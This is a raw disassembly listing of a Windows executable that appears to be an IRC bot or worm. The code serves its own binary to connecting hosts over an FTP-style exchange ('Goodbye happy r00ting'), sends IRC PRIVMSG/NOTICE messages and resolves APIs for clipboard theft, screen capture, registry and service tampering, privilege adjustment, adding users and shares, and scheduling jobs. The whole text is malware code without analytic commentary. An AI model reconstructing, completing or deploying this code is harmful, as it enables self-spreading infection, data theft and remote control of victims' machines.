lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_40B56D
lea eax, [ebp+var_F8]
push eax
call sub_40C3AF
mov [ebp+var_8], eax
lea eax, [ebp+var_2D0]
push eax
call sub_40C3AF
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_40B630
push [ebp+arg_0]
lea eax, [ebp+var_F8]
push [ebp+var_8]
push offset aXX ; "%x%x\n"
push eax
call sub_40B0B3
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_40CC7B
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_40B0B3
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_4043C7
; ---------------------------------------------------------------------------
loc_4042ED: ; CODE XREF: sub_403E11+420j
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz loc_4043A8
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_4043F8
pop ecx
cmp eax, 1
pop ecx
jnz short loc_40439E
call sub_404475
cmp eax, 1
jnz loc_4043CA
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_42B2B4
push eax
lea eax, [ebp+var_8DC]
push offset unk_41B0F0
push eax
call sub_40B0B3
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_40438F
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_404555
add esp, 14h
loc_40438F: ; CODE XREF: sub_403E11+559j
lea eax, [ebp+var_8DC]
push eax
call sub_403145
pop ecx
jmp short loc_4043CA
; ---------------------------------------------------------------------------
loc_40439E: ; CODE XREF: sub_403E11+513j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4043C7
; ---------------------------------------------------------------------------
loc_4043A8: ; CODE XREF: sub_403E11+4F1j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jnz short loc_4043CA
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4043C7: ; CODE XREF: sub_403E11+271j
; sub_403E11+295j ...
push edi
call ebx ; send
loc_4043CA: ; CODE XREF: sub_403E11+3C5j
; sub_403E11+51Dj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_40B630
add esp, 0Ch
loc_4043DC: ; CODE XREF: sub_403E11+15Ej
; sub_403E11+187j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_403F3D
jmp loc_403F04
; ---------------------------------------------------------------------------
loc_4043EE: ; CODE XREF: sub_403E11+11Ej
xor eax, eax
inc eax
loc_4043F1: ; CODE XREF: sub_403E11+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_403E11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4043F8 proc near ; CODE XREF: sub_403E11+509p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_41717C ; WSAStartup
push 0
push 1
push 2
call dword_4171A8 ; socket
push [ebp+arg_0]
mov dword_42B2B0, eax
mov [ebp+var_10], 2
call dword_417190 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_417194 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_42B2B0
call dword_417198 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_404470
push dword_42B2B0
call dword_4171A4 ; closesocket
call dword_417178 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_404470: ; CODE XREF: sub_4043F8+60j
xor eax, eax
inc eax
leave
retn
sub_4043F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404475 proc near ; CODE XREF: sub_403E11+515p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_41704C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_41AD40
push eax
call sub_40C7B8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40450C
test byte ptr [esi+0Ch], 10h
jnz short loc_4044F0
push edi
mov edi, 400h
loc_4044B8: ; CODE XREF: sub_404475+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_40C410
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_42B2B0
call dword_4171AC ; send
push 1
call dword_417040 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_4044B8
pop edi
loc_4044F0: ; CODE XREF: sub_404475+3Bj
push esi
call sub_40C3BA
pop ecx
push dword_42B2B0
call dword_4171A4 ; closesocket
call dword_417178 ; WSACleanup
xor eax, eax
inc eax
loc_40450C: ; CODE XREF: sub_404475+35j
pop esi
leave
retn
sub_404475 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40450F proc near ; CODE XREF: sub_406A2F+3Dp
; sub_406BAB+1B6p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_40C2D4
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_42B420 ; send
leave
retn
sub_40450F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404555 proc near ; CODE XREF: sub_401000+B2p
; sub_4010CA+61p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_404570
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_404570: ; CODE XREF: sub_404555+14j
push edi
call sub_40B5B0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_40B5B0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_0 ; "%s"
push esi
push eax
call sub_40BDE7
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_40B0B3
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_42B420 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4045EE
push 7D0h
call dword_417040 ; Sleep
locret_4045EE: ; CODE XREF: sub_404555+8Cj
leave
retn
sub_404555 endp
; =============== S U B R O U T I N E =======================================
sub_4045F0 proc near ; CODE XREF: sub_406422+50p
push ebx
push ebp
mov ebp, dword_41708C
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_417088
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_404710
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_42B47C, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_42B3F4, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_42B3D8, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_42B30C, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_42B2BC, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_42B2E8, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_42B354, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_42B430, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_42B484, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_42B314, eax
call esi ; GetProcAddress
cmp dword_42B47C, ebx
mov dword_42B300, eax
jz short loc_4046EE
cmp dword_42B3F4, ebx
jz short loc_4046EE
cmp dword_42B3D8, ebx
jz short loc_4046EE
cmp dword_42B30C, ebx
jz short loc_4046EE
cmp dword_42B2E8, ebx
jz short loc_4046EE
cmp dword_42B354, ebx
jz short loc_4046EE
cmp dword_42B430, ebx
jz short loc_4046EE
cmp dword_42B484, ebx
jz short loc_4046EE
cmp dword_42B314, ebx
jz short loc_4046EE
cmp eax, ebx
jnz short loc_4046F8
loc_4046EE: ; CODE XREF: sub_4045F0+B8j
; sub_4045F0+C0j ...
mov dword_42B488, 1
loc_4046F8: ; CODE XREF: sub_4045F0+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_42B408, eax
jz short loc_404725
push 1
push ebx
call eax ; GetDiskFreeSpaceExA
jmp short loc_404725
; ---------------------------------------------------------------------------
loc_404710: ; CODE XREF: sub_4045F0+1Dj
call dword_417044 ; RtlGetLastWin32Error
mov dword_42B48C, eax
mov dword_42B488, 1
loc_404725: ; CODE XREF: sub_4045F0+117j
; sub_4045F0+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4047E0
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_42B42C, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_42B3E0, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_42B378, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_42B480, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_42B3A4, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_42B3C4, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_42B424, eax
call esi ; GetProcAddress
cmp dword_42B42C, ebx
mov dword_42B330, eax
jz short loc_4047EB
cmp dword_42B3E0, ebx
jz short loc_4047EB
cmp dword_42B378, ebx
jz short loc_4047EB
cmp dword_42B480, ebx
jz short loc_4047EB
cmp dword_42B3A4, ebx
jz short loc_4047EB
cmp dword_42B3C4, ebx
jz short loc_4047EB
cmp dword_42B424, ebx
jz short loc_4047EB
cmp eax, ebx
jnz short loc_4047F5
jmp short loc_4047EB
; ---------------------------------------------------------------------------
loc_4047E0: ; CODE XREF: sub_4045F0+144j
call dword_417044 ; RtlGetLastWin32Error
mov dword_42B494, eax
loc_4047EB: ; CODE XREF: sub_4045F0+1B8j
; sub_4045F0+1C0j ...
mov dword_42B490, 1
loc_4047F5: ; CODE XREF: sub_4045F0+1ECj
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_404990
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_42B440, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_42B38C, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_42B3F8, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_42B2F8, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_42B350, eax
call esi ; GetProcAddress
cmp dword_42B440, ebx
mov dword_42B3B0, eax
jz short loc_404880
cmp dword_42B38C, ebx
jz short loc_404880
cmp dword_42B3F8, ebx
jz short loc_404880
cmp dword_42B2F8, ebx
jz short loc_404880
cmp dword_42B350, ebx
jz short loc_404880
cmp eax, ebx
jnz short loc_40488A
loc_404880: ; CODE XREF: sub_4045F0+26Aj
; sub_4045F0+272j ...
mov dword_42B498, 1
loc_40488A: ; CODE XREF: sub_4045F0+28Ej
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_42B3B8, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_42B394, eax
call esi ; GetProcAddress
cmp dword_42B3B8, ebx
mov dword_42B43C, eax
jz short loc_4048C5
cmp dword_42B394, ebx
jz short loc_4048C5
cmp eax, ebx
jnz short loc_4048CF
loc_4048C5: ; CODE XREF: sub_4045F0+2C7j
; sub_4045F0+2CFj
mov dword_42B498, 1
loc_4048CF: ; CODE XREF: sub_4045F0+2D3j
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_42B3C8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_42B2D4, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_42B2DC, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_42B338, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_42B33C, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_42B2F0, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_42B398, eax
call esi ; GetProcAddress
cmp dword_42B3C8, ebx
mov dword_42B2E0, eax
jz short loc_404973
cmp dword_42B2D4, ebx
jz short loc_404973
cmp dword_42B2DC, ebx
jz short loc_404973
cmp dword_42B338, ebx
jz short loc_404973
cmp dword_42B33C, ebx
jz short loc_404973
cmp dword_42B2F0, ebx
jz short loc_404973
cmp dword_42B398, ebx
jz short loc_404973
cmp eax, ebx
jnz short loc_40497D
loc_404973: ; CODE XREF: sub_4045F0+34Dj
; sub_4045F0+355j ...
mov dword_42B498, 1
loc_40497D: ; CODE XREF: sub_4045F0+381j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_42B2D8, eax
jnz short loc_4049A5
jmp short loc_40499B
; ---------------------------------------------------------------------------
loc_404990: ; CODE XREF: sub_4045F0+210j
call dword_417044 ; RtlGetLastWin32Error
mov dword_42B49C, eax
loc_40499B: ; CODE XREF: sub_4045F0+39Ej
mov dword_42B498, 1
loc_4049A5: ; CODE XREF: sub_4045F0+39Cj
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_404A71
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_42B3C0, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_42B414, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_42B41C, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_42B3DC, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_42B318, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_42B2CC, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_42B418, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_42B2B8, eax
call esi ; GetProcAddress
cmp dword_42B3C0, ebx
mov dword_42B348, eax
jz short loc_404A7C
cmp dword_42B414, ebx
jz short loc_404A7C
cmp dword_42B41C, ebx
jz short loc_404A7C
cmp dword_42B3DC, ebx
jz short loc_404A7C
cmp dword_42B318, ebx
jz short loc_404A7C
cmp dword_42B2CC, ebx
jz short loc_404A7C
cmp dword_42B418, ebx
jz short loc_404A7C
cmp dword_42B2B8, ebx
jz short loc_404A7C
cmp eax, ebx
jnz short loc_404A86
jmp short loc_404A7C
; ---------------------------------------------------------------------------
loc_404A71: ; CODE XREF: sub_4045F0+3C0j
call dword_417044 ; RtlGetLastWin32Error
mov dword_42B4A4, eax
loc_404A7C: ; CODE XREF: sub_4045F0+441j
; sub_4045F0+449j ...
mov dword_42B4A0, 1
loc_404A86: ; CODE XREF: sub_4045F0+47Dj
push offset aWs2_32_dll ; "ws2_32.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_404E4F
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_42B35C, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_42B474, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_42B308, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_42B2E4, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_42B384, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_42B370, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_42B344, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_42B450, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_42B46C, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_42B380, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_42B45C, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_42B410, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_42B3D4, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_42B3D0, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_42B324, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_42B31C, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_42B420, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_42B434, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_42B3EC, eax
call esi ; GetProcAddress
mov dword_42B3AC, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_42B400, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_42B3BC, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_42B3FC, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_42B464, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_42B3B4, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_42B37C, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_42B3E8, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_42B454, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_42B390, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_42B340, eax
call esi ; GetProcAddress
cmp dword_42B35C, ebx
mov dword_42B468, eax
jz loc_404D36
cmp dword_42B474, ebx
jz loc_404D36
cmp dword_42B308, ebx
jz loc_404D36
cmp dword_42B384, ebx
jz loc_404D36
cmp dword_42B370, ebx
jz loc_404D36
cmp dword_42B344, ebx
jz loc_404D36
cmp dword_42B450, ebx
jz loc_404D36
cmp dword_42B46C, ebx
jz loc_404D36
cmp dword_42B380, ebx
jz loc_404D36
cmp dword_42B45C, ebx
jz loc_404D36
cmp dword_42B410, ebx
jz loc_404D36
cmp dword_42B3D4, ebx
jz short loc_404D36
cmp dword_42B3D0, ebx
jz short loc_404D36
cmp dword_42B324, ebx
jz short loc_404D36
cmp dword_42B420, ebx
jz short loc_404D36
cmp dword_42B434, ebx
jz short loc_404D36
cmp dword_42B3EC, ebx
jz short loc_404D36
cmp dword_42B3AC, ebx
jz short loc_404D36
cmp dword_42B400, ebx
jz short loc_404D36
cmp dword_42B3BC, ebx
jz short loc_404D36
cmp dword_42B3FC, ebx
jz short loc_404D36
cmp dword_42B464, ebx
jz short loc_404D36
cmp dword_42B3B4, ebx
jz short loc_404D36
cmp dword_42B37C, ebx
jz short loc_404D36
cmp dword_42B3E8, ebx
jz short loc_404D36
cmp dword_42B454, ebx
jz short loc_404D36
cmp dword_42B390, ebx
jz short loc_404D36
cmp eax, ebx
jnz short loc_404D40
loc_404D36: ; CODE XREF: sub_4045F0+644j
; sub_4045F0+650j ...
mov dword_42B4A8, 1
loc_404D40: ; CODE XREF: sub_4045F0+744j
mov ebp, dword_417044
loc_404D46: ; CODE XREF: sub_4045F0+876j
push offset aWininet_dll ; "wininet.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_404E6B
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_42B32C, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_42B2C0, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_42B3A0, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_42B360, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_42B3A8, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_42B374, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_42B2FC, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_42B2F4, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_42B304, eax
call esi ; GetProcAddress
cmp dword_42B32C, ebx
mov ecx, dword_42B374
mov dword_42B404, eax
jz short loc_404E2B
cmp dword_42B2C0, ebx
jz short loc_404E2B
cmp dword_42B3A0, ebx
jz short loc_404E2B
cmp dword_42B360, ebx
jz short loc_404E2B
cmp dword_42B3A8, ebx
jz short loc_404E2B
cmp ecx, ebx
jz short loc_404E2B
cmp dword_42B2FC, ebx
jz short loc_404E2B
cmp dword_42B2F4, ebx
jz short loc_404E2B
cmp dword_42B304, ebx
jz short loc_404E2B
cmp eax, ebx
jnz short loc_404E35
loc_404E2B: ; CODE XREF: sub_4045F0+7F9j
; sub_4045F0+801j ...
mov dword_42B4B0, 1
loc_404E35: ; CODE XREF: sub_4045F0+839j
cmp ecx, ebx
jz short loc_404E82
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_42B388, eax
jnz short loc_404E82
jmp short loc_404E7C
; ---------------------------------------------------------------------------
loc_404E4F: ; CODE XREF: sub_4045F0+4A5j
mov ebp, dword_417044
call ebp ; RtlGetLastWin32Error
mov dword_42B4AC, eax
mov dword_42B4A8, 1
jmp loc_404D46
; ---------------------------------------------------------------------------
loc_404E6B: ; CODE XREF: sub_4045F0+765j
call ebp ; RtlGetLastWin32Error
mov dword_42B4B4, eax
mov dword_42B4B0, 1
loc_404E7C: ; CODE XREF: sub_4045F0+85Dj
mov dword_42B388, ebx
loc_404E82: ; CODE XREF: sub_4045F0+847j
; sub_4045F0+85Bj
push offset aNetapi32_dll ; "netapi32.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_404F7C
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_42B2EC, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_42B2C8, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_42B334, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_42B364, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_42B460, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_42B320, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_42B2D0, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_42B2C4, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_42B34C, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_42B428, eax
call esi ; GetProcAddress
cmp dword_42B2EC, ebx
mov dword_42B3E4, eax
jz short loc_404F83
cmp dword_42B2C8, ebx
jz short loc_404F83
cmp dword_42B334, ebx
jz short loc_404F83
cmp dword_42B364, ebx
jz short loc_404F83
cmp dword_42B460, ebx
jz short loc_404F83
cmp dword_42B320, ebx
jz short loc_404F83
cmp dword_42B2D0, ebx
jz short loc_404F83
cmp dword_42B2C4, ebx
jz short loc_404F83
cmp dword_42B34C, ebx
jz short loc_404F83
cmp dword_42B428, ebx
jz short loc_404F83
cmp eax, ebx
jnz short loc_404F8D
jmp short loc_404F83
; ---------------------------------------------------------------------------
loc_404F7C: ; CODE XREF: sub_4045F0+8A1j
call ebp ; RtlGetLastWin32Error
mov dword_42B4C4, eax
loc_404F83: ; CODE XREF: sub_4045F0+93Cj
; sub_4045F0+944j ...
mov dword_42B4C0, 1
loc_404F8D: ; CODE XREF: sub_4045F0+988j
push offset aDnsapi_dll ; "dnsapi.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_404FC6
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_42B310, eax
call esi ; GetProcAddress
cmp dword_42B310, ebx
mov dword_42B3CC, eax
jz short loc_404FCD
cmp eax, ebx
jnz short loc_404FD7
jmp short loc_404FCD
; ---------------------------------------------------------------------------
loc_404FC6: ; CODE XREF: sub_4045F0+9ACj
call ebp ; RtlGetLastWin32Error
mov dword_42B4CC, eax
loc_404FCD: ; CODE XREF: sub_4045F0+9CEj
; sub_4045F0+9D4j
mov dword_42B4C8, 1
loc_404FD7: ; CODE XREF: sub_4045F0+9D2j
push offset aIphlpapi_dll ; "iphlpapi.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_405010
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_42B44C, eax
call esi ; GetProcAddress
cmp dword_42B44C, ebx
mov dword_42B448, eax
jz short loc_405017
cmp eax, ebx
jnz short loc_405021
jmp short loc_405017
; ---------------------------------------------------------------------------
loc_405010: ; CODE XREF: sub_4045F0+9F6j
call ebp ; RtlGetLastWin32Error
mov dword_42B4D4, eax
loc_405017: ; CODE XREF: sub_4045F0+A18j
; sub_4045F0+A1Ej
mov dword_42B4D0, 1
loc_405021: ; CODE XREF: sub_4045F0+A1Cj
push offset aMpr_dll ; "mpr.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_405084
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_42B478, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_42B470, eax
call esi ; GetProcAddress
